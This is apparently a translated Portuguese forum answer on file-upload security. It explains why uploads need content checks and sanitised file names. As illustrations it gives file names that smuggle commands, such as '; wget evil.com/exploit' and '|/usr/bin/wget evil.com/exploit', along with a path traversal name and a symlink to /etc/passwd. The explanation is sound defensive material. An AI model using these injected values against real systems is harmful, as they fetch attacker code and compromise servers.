Algo muito semelhante é um erro de segurança bem conhecido que muitos sites cometem. Se você fizer uploads de usuários (digamos, imagens de avatar para um fórum) e não confirmar que são arquivos de imagem válidos, um invasor pode fazer upload de um arquivo PHP e executá-lo no servidor, solicitando-o em um navegador da Web. seu diretório de imagens. Muitas vezes não é adequado apenas verificar a extensão no nome do arquivo, você deve validar o conteúdo do arquivo ou correr o risco de ter um arquivo malicioso em seu sistema.
O mesmo provavelmente é genericamente verdadeiro em qualquer situação em que você aceita um upload de arquivo e não verifica seu conteúdo. O arquivo pode ser um executável do Solaris aguardando por um descuido chmod -R 777 /var/www
ou um script perl que adicione um novo usuário ou um arquivo PDF malformado destinado a comprometer os usuários do seu site ou um arquivo .htaccess que redireciona os usuários para o site do atacante ou até mesmo um link simbólico para / etc / passwd. (Na verdade, não tenho certeza se é possível "carregar" um symlink, mas certamente seria possível imaginar um cenário em que um usuário não confiável poderia criar um symlink em seu sistema.)
A verificação de que o conteúdo de um arquivo corresponde ao que deveria ser torna mais difícil para um invasor obter seu código de exploração em seu sistema. Você está certo em pensar que não validar é um erro de segurança.
Uma vez que o arquivo malicioso está no sistema, ele ainda requer um segundo erro / vulnerabilidade para explorar o arquivo, mas coloca o invasor um passo mais perto de comprometer seu sistema.
Além disso, você também deve limpar o nome do arquivo, se um for fornecido. O exemplo .htaccess anterior é uma maneira de um invasor explorar um nome de arquivo, mas nomes de arquivo como "../index.php" ou |/usr/bin/wget evil.com/exploit
ou ; wget evil.com/exploit
ou && wget evil.com/exploit
podem fazer coisas desagradáveis ao sistema, dependendo do manuseio do arquivo código.
Se estivermos falando sobre o Apache, seria difícil forçá-lo a sobrescrever um binário do sistema como ls
, mas se for um servidor que você mesmo tenha escrito e que não elimine privilégios e esteja sendo executado como root, ele teria a permissão necessária para sobrescrever os binários do sistema e apenas aguardar o caminho correto do arquivo.